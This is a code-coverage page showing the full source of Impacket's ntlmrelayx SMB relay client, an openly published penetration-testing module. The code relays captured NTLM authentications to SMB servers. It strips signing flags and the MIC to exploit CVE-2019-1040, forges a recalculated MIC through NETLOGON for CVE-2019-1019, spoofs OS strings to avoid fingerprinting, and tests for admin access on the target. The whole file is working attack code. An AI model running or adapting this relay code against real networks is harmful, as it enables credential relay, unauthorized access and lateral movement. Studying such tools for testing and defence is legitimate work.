Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py: 9%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py : 9%

## 406 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols.

2#

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.

4#

5# This software is provided under a slightly modified version

6# of the Apache Software License. See the accompanying LICENSE file

7# for more information.

8#

9# Description:

10# SMB Relay Protocol Client

11# This is the SMB client which initiates the connection to an

12# SMB server and relays the credentials to this server.

13#

14# Author:

15# Alberto Solino (@agsolino)

16#

17

18 import logging

19 import os

20

21 from binascii import unhexlify, hexlify

22 from struct import unpack, pack

23 from socket import error as socketerror

24 from impacket.dcerpc.v5.rpcrt import DCERPCException

25 from impacket.dcerpc.v5 import nrpc

26 from impacket.dcerpc.v5 import transport

27 from impacket.dcerpc.v5.ndr import NULL

28 from impacket import LOG

29 from impacket.examples.ntlmrelayx.clients import ProtocolClient

30 from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER

31 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE

32 from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \

33 generateEncryptedSessionKey, hmac_md5

34 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \

35 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \

36 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters

37 from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \

38 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \

39 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \

40 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response

41 from impacket.smbconnection import SMBConnection, SMB_DIALECT

42 from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION

43 from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech

44 from impacket.dcerpc.v5.transport import SMBTransport

45 from impacket.dcerpc.v5 import scmr

46

47 PROTOCOL_CLIENT_CLASS = "SMBRelayClient"

48

49 class MYSMB(SMB):

50 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):

51 self.extendedSecurity = extendedSecurity

52 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)

53

54 def neg_session(self, negPacket=None):

55 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)

56

57 class MYSMB3(SMB3):

58 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):

59 self.extendedSecurity = extendedSecurity

60 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)

61

62 def negotiateSession(self, preferredDialect = None, negSessionResponse = None):

63 # We DON'T want to sign

64 self._Connection['ClientSecurityMode'] = 0

65

66 if self.RequireMessageSigning is True:

67 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')

68 return

69

70 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION

71 currentDialect = SMB2_DIALECT_WILDCARD

72

73 # Do we have a negSessionPacket already?

74 if negSessionResponse is not None:

75 # Yes, let's store the dialect answered back

76 negResp = SMB2Negotiate_Response(negSessionResponse['Data'])

77 currentDialect = negResp['DialectRevision']

78

79 if currentDialect == SMB2_DIALECT_WILDCARD:

80 # Still don't know the chosen dialect, let's send our options

81

82 packet = self.SMB_PACKET()

83 packet['Command'] = SMB2_NEGOTIATE

84 negSession = SMB2Negotiate()

85

86 negSession['SecurityMode'] = self._Connection['ClientSecurityMode']

87 negSession['Capabilities'] = self._Connection['Capabilities']

88 negSession['ClientGuid'] = self.ClientGuid

89 if preferredDialect is not None:

90 negSession['Dialects'] = [preferredDialect]

91 else:

92 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]

93 negSession['DialectCount'] = len(negSession['Dialects'])

94 packet['Data'] = negSession

95

96 packetID = self.sendSMB(packet)

97 ans = self.recvSMB(packetID)

98 if ans.isValidAnswer(STATUS_SUCCESS):

99 negResp = SMB2Negotiate_Response(ans['Data'])

100

101 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])

102 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])

103 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])

104 self._Connection['ServerGuid'] = negResp['ServerGuid']

105 self._Connection['GSSNegotiateToken'] = negResp['Buffer']

106 self._Connection['Dialect'] = negResp['DialectRevision']

107 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:

108 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')

109 return

110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:

111 self._Connection['SupportsFileLeasing'] = True

112 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:

113 self._Connection['SupportsMultiCredit'] = True

114

115 if self._Connection['Dialect'] == SMB2_DIALECT_30:

116 # Switching to the right packet format

117 self.SMB_PACKET = SMB3Packet

118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:

119 self._Connection['SupportsDirectoryLeasing'] = True

120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:

121 self._Connection['SupportsMultiChannel'] = True

122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:

123 self._Connection['SupportsPersistentHandles'] = True

124 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:

125 self._Connection['SupportsEncryption'] = True

126

127 self._Connection['ServerCapabilities'] = negResp['Capabilities']

128 self._Connection['ServerSecurityMode'] = negResp['SecurityMode']

129

130 class SMBRelayClient(ProtocolClient):

131 PLUGIN_NAME = "SMB"

132 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):

133 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

134 self.extendedSecurity = extendedSecurity

135

136 self.machineAccount = None

137 self.machineHashes = None

138 self.sessionData = {}

139

140 self.negotiateMessage = None

141 self.challengeMessage = None

142 self.serverChallenge = None

143

144 self.keepAliveHits = 1

145

146 def netlogonSessionKey(self, authenticateMessageBlob):

147 # Here we will use netlogon to get the signing session key

148 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp)

149

150 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

151 authenticateMessage = NTLMAuthChallengeResponse()

152 authenticateMessage.fromString(authenticateMessageBlob)

153 _, machineAccount = self.serverConfig.machineAccount.split('/')

154 domainName = authenticateMessage['domain_name'].decode('utf-16le')

155

156 try:

157 serverName = machineAccount[:len(machineAccount)-1]

158 except:

159 # We're in NTLMv1, not supported

160 return STATUS_ACCESS_DENIED

161

162 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

163

164 rpctransport = transport.DCERPCTransportFactory(stringBinding)

165

166 if len(self.serverConfig.machineHashes) > 0:

167 lmhash, nthash = self.serverConfig.machineHashes.split(':')

168 else:

169 lmhash = ''

170 nthash = ''

171

172 if hasattr(rpctransport, 'set_credentials'):

173 # This method exists only for selected protocol sequences.

174 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)

175

176 dce = rpctransport.get_dce_rpc()

177 dce.connect()

178 dce.bind(nrpc.MSRPC_UUID_NRPC)

179 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')

180

181 serverChallenge = resp['ServerChallenge']

182

183 if self.serverConfig.machineHashes == '':

184 ntHash = None

185 else:

186 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])

187

188 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)

189

190 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

191

192 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',

193 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',

194 ppp, 0x600FFFFF)

195

196 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

197

198 # Now let's try to verify the security blob against the PDC

199

200 request = nrpc.NetrLogonSamLogonWithFlags()

201 request['LogonServer'] = '\x00'

202 request['ComputerName'] = serverName + '\x00'

203 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

204

205 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

206 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName

208 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0

209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[

210 'user_name'].decode('utf-16le')

211 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''

212 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge

213 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']

214 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

215

216 authenticator = nrpc.NETLOGON_AUTHENTICATOR()

217 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)

218 authenticator['Timestamp'] = 10

219

220 request['Authenticator'] = authenticator

221 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8

222 request['ReturnAuthenticator']['Timestamp'] = 0

223 request['ExtraFlags'] = 0

224 # request.dump()

225 try:

226 resp = dce.request(request)

227 # resp.dump()

228 except DCERPCException as e:

229 if logging.getLogger().level == logging.DEBUG:

230 import traceback

231 traceback.print_exc()

232 logging.error(str(e))

233 return e.get_error_code()

234

235 logging.info("%s\\%s successfully validated through NETLOGON" % (

236 domainName, authenticateMessage['user_name'].decode('utf-16le')))

237

238 encryptedSessionKey = authenticateMessage['session_key']

239 if encryptedSessionKey != b'':

240 signingKey = generateEncryptedSessionKey(

241 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)

242 else:

243 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

244

245 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))

246

247 return STATUS_SUCCESS, signingKey

248

249 def keepAlive(self):

250 # SMB Keep Alive more or less every 5 minutes

251 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):

252 # Time to send a packet

253 # Just a tree connect / disconnect to avoid the session timeout

254 tid = self.session.connectTree('IPC$')

255 self.session.disconnectTree(tid)

256 self.keepAliveHits = 1

257 else:

258 self.keepAliveHits +=1

259

260 def killConnection(self):

261 if self.session is not None:

262 self.session.close()

263 self.session = None

264

265 def initConnection(self):

266 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)

267 #,preferredDialect=SMB_DIALECT)

268 if self.serverConfig.smb2support is True:

269 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'

270 else:

271 data = '\x02NT LM 0.12\x00'

272

273 if self.extendedSecurity is True:

274 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES

275 else:

276 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES

277 try:

278 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,

279 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,

280 flags2=flags2, data=data)

281 except Exception as e:

282 if not self.serverConfig.smb2support:

283 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')

284 else:

285 LOG.error('SMBClient error: Connection was reset')

286 return False

287 if packet[0:1] == b'\xfe':

288 preferredDialect = None

289 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21

290 if self.serverConfig.remove_target:

291 preferredDialect = SMB2_DIALECT_21

292 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),

293 negPacket=packet, preferredDialect=preferredDialect)

294 else:

295 # Answer is SMB packet, sticking to SMBv1

296 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),

297 negPacket=packet)

298

299 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,

300 existingConnection=smbClient, manualNegotiate=True)

301

302 return True

303

304 def setUid(self,uid):

305 self._uid = uid

306

307 def sendNegotiate(self, negotiateMessage):

308 negoMessage = NTLMAuthNegotiate()

309 negoMessage.fromString(negotiateMessage)

310 # When exploiting CVE-2019-1040, remove flags

311 if self.serverConfig.remove_mic:

312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

318 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

319 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

320

321 negotiateMessage = negoMessage.getData()

322

323 challenge = NTLMAuthChallenge()

324 if self.session.getDialect() == SMB_DIALECT:

325 challenge.fromString(self.sendNegotiatev1(negotiateMessage))

326 else:

327 challenge.fromString(self.sendNegotiatev2(negotiateMessage))

328

329 self.negotiateMessage = negotiateMessage

330 self.challengeMessage = challenge.getData()

331

332 # Store the Challenge in our session data dict. It will be used by the SMB Proxy

333 self.sessionData['CHALLENGE_MESSAGE'] = challenge

334 self.serverChallenge = challenge['challenge']

335

336 return challenge

337

338 def sendNegotiatev2(self, negotiateMessage):

339 v2client = self.session.getSMBServer()

340

341 sessionSetup = SMB2SessionSetup()

342 sessionSetup['Flags'] = 0

343

344 sessionSetup['SecurityBufferLength'] = len(negotiateMessage)

345 sessionSetup['Buffer'] = negotiateMessage

346

347 packet = v2client.SMB_PACKET()

348 packet['Command'] = SMB2_SESSION_SETUP

349 packet['Data'] = sessionSetup

350

351 packetID = v2client.sendSMB(packet)

352 ans = v2client.recvSMB(packetID)

353 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):

354 v2client._Session['SessionID'] = ans['SessionID']

355 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])

356 return sessionSetupResponse['Buffer']

357

358 return False

359

360 def sendNegotiatev1(self, negotiateMessage):

361 v1client = self.session.getSMBServer()

362

363 smb = NewSMBPacket()

364 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS

365 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY

366 # Are we required to sign SMB? If so we do it, if not we skip it

367 if v1client.is_signing_required():

368 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

369

370 # Just in case, clear the Unicode Flag

371 flags2 = v1client.get_flags ()[1]

372 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

373

374 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

375 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()

376 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

377

378 sessionSetup['Parameters']['MaxBufferSize'] = 65535

379 sessionSetup['Parameters']['MaxMpxCount'] = 2

380 sessionSetup['Parameters']['VcNumber'] = 1

381 sessionSetup['Parameters']['SessionKey'] = 0

382 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

383

384 # Let's build a NegTokenInit with the NTLMSSP

385 # TODO: In the future we should be able to choose different providers

386

387 #blob = SPNEGO_NegTokenInit()

388

389 # NTLMSSP

390 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

391 #blob['MechToken'] = negotiateMessage

392

393 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)

394 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage)

395 sessionSetup['Parameters'].getData()

396 #sessionSetup['Data']['SecurityBlob'] = blob.getData()

397 sessionSetup['Data']['SecurityBlob'] = negotiateMessage

398

399 # Fake Data here, don't want to get us fingerprinted

400 sessionSetup['Data']['NativeOS'] = 'Unix'

401 sessionSetup['Data']['NativeLanMan'] = 'Samba'

402

403 smb.addCommand(sessionSetup)

404 v1client.sendSMB(smb)

405 smb = v1client.recvSMB()

406

407 try:

408 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)

409 except Exception:

410 LOG.error("SessionSetup Error!")

411 raise

412 else:

413 # We will need to use this uid field for all future requests/responses

414 v1client.set_uid(smb['Uid'])

415

416 # Now we have to extract the blob to continue the auth process

417 sessionResponse = SMBCommand(smb['Data'][0])

418 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])

419 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])

420 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']

421 sessionData.fromString(sessionResponse['Data'])

422 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

423

424 #return respToken['ResponseToken']

425 return sessionData['SecurityBlob']

426

427 def sendStandardSecurityAuth(self, sessionSetupData):

428 v1client = self.session.getSMBServer()

429 flags2 = v1client.get_flags()[1]

430 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))

431 if sessionSetupData['Account'] != '':

432 smb = NewSMBPacket()

433 smb['Flags1'] = 8

434

435 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

436 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()

437 sessionSetup['Data'] = SMBSessionSetupAndX_Data()

438

439 sessionSetup['Parameters']['MaxBuffer'] = 65535

440 sessionSetup['Parameters']['MaxMpxCount'] = 2

441 sessionSetup['Parameters']['VCNumber'] = os.getpid()

442 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']

443 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])

444 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])

445 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

446

447 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']

448 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']

449 sessionSetup['Data']['Account'] = sessionSetupData['Account']

450 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']

451 sessionSetup['Data']['NativeOS'] = 'Unix'

452 sessionSetup['Data']['NativeLanMan'] = 'Samba'

453

454 smb.addCommand(sessionSetup)

455

456 v1client.sendSMB(smb)

457 smb = v1client.recvSMB()

458 try:

459 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)

460 except:

461 return None, STATUS_LOGON_FAILURE

462 else:

463 v1client.set_uid(smb['Uid'])

464 return smb, STATUS_SUCCESS

465 else:

466 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials

467 clientResponse = None

468 errorCode = STATUS_ACCESS_DENIED

469

470 return clientResponse, errorCode

471

472 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

473

474 # When exploiting CVE-2019-1040, remove flags

475 if self.serverConfig.remove_mic:

476 authMessage = NTLMAuthChallengeResponse()

477 authMessage.fromString(authenticateMessageBlob)

478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

484 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

485 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

486 authMessage['MIC'] = b''

487 authMessage['MICLen'] = 0

488 authMessage['Version'] = b''

489 authMessage['VersionLen'] = 0

490 authenticateMessageBlob = authMessage.getData()

491

492 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

493 # # We need to unwrap SPNEGO and get the NTLMSSP

494 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

495 # authData = respToken['ResponseToken']

496 #else:

497 authData = authenticateMessageBlob

498

499 signingKey = None

500 if self.serverConfig.remove_target:

501 # Trying to exploit CVE-2019-1019

502 # Discovery and Implementation by @simakov_marina and @YaronZi

503 # respToken2 = SPNEGO_NegTokenResp(authData)

504 authenticateMessageBlob = authData

505

506 errorCode, signingKey = self.netlogonSessionKey(authData)

507

508 # Recalculate MIC

509 res = NTLMAuthChallengeResponse()

510 res.fromString(authenticateMessageBlob)

511

512 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]

513 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

514

515 respToken2 = SPNEGO_NegTokenResp()

516 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]

517 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]

518 #authData = respToken2.getData()

519

520 if self.session.getDialect() == SMB_DIALECT:

521 token, errorCode = self.sendAuthv1(authData, serverChallenge)

522 else:

523 token, errorCode = self.sendAuthv2(authData, serverChallenge)

524

525 if signingKey:

526 logging.info("Enabling session signing")

527 self.session._SMBConnection.set_session_key(signingKey)

528

529 return token, errorCode

530

531 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):

532 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

533 # We need to unwrap SPNEGO and get the NTLMSSP

534 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

535 authData = respToken['ResponseToken']

536 else:

537 authData = authenticateMessageBlob

538

539 v2client = self.session.getSMBServer()

540

541 sessionSetup = SMB2SessionSetup()

542 sessionSetup['Flags'] = 0

543

544 packet = v2client.SMB_PACKET()

545 packet['Command'] = SMB2_SESSION_SETUP

546 packet['Data'] = sessionSetup

547

548 # Reusing the previous structure

549 sessionSetup['SecurityBufferLength'] = len(authData)

550 sessionSetup['Buffer'] = authData

551

552 packetID = v2client.sendSMB(packet)

553 packet = v2client.recvSMB(packetID)

554

555 return packet, packet['Status']

556

557 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):

558 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

559 # We need to unwrap SPNEGO and get the NTLMSSP

560 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

561 authData = respToken['ResponseToken']

562 else:

563 authData = authenticateMessageBlob

564

565 v1client = self.session.getSMBServer()

566

567 smb = NewSMBPacket()

568 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS

569 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE

570 # Are we required to sign SMB? If so we do it, if not we skip it

571 if v1client.is_signing_required():

572 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

573 smb['Uid'] = v1client.get_uid()

574

575 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

576 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()

577 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

578

579 sessionSetup['Parameters']['MaxBufferSize'] = 65535

580 sessionSetup['Parameters']['MaxMpxCount'] = 2

581 sessionSetup['Parameters']['VcNumber'] = 1

582 sessionSetup['Parameters']['SessionKey'] = 0

583 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

584

585 # Fake Data here, don't want to get us fingerprinted

586 sessionSetup['Data']['NativeOS'] = 'Unix'

587 sessionSetup['Data']['NativeLanMan'] = 'Samba'

588

589 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)

590 sessionSetup['Data']['SecurityBlob'] = authData

591 smb.addCommand(sessionSetup)

592 v1client.sendSMB(smb)

593

594 smb = v1client.recvSMB()

595

596 errorCode = smb['ErrorCode'] << 16

597 errorCode += smb['_reserved'] << 8

598 errorCode += smb['ErrorClass']

599

600 return smb, errorCode

601

602 def getStandardSecurityChallenge(self):

603 if self.session.getDialect() == SMB_DIALECT:

604 return self.session.getSMBServer().get_encryption_key()

605 else:

606 return None

607

608 def isAdmin(self):

609 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)

610 dce = rpctransport.get_dce_rpc()

611 try:

612 dce.connect()

613 except:

614 pass

615 else:

616 dce.bind(scmr.MSRPC_UUID_SCMR)

617 try:

618 # 0xF003F - SC_MANAGER_ALL_ACCESS

619 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

620 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)

621 return "TRUE"

622 except scmr.DCERPCException as e:

623 pass

624 return "FALSE"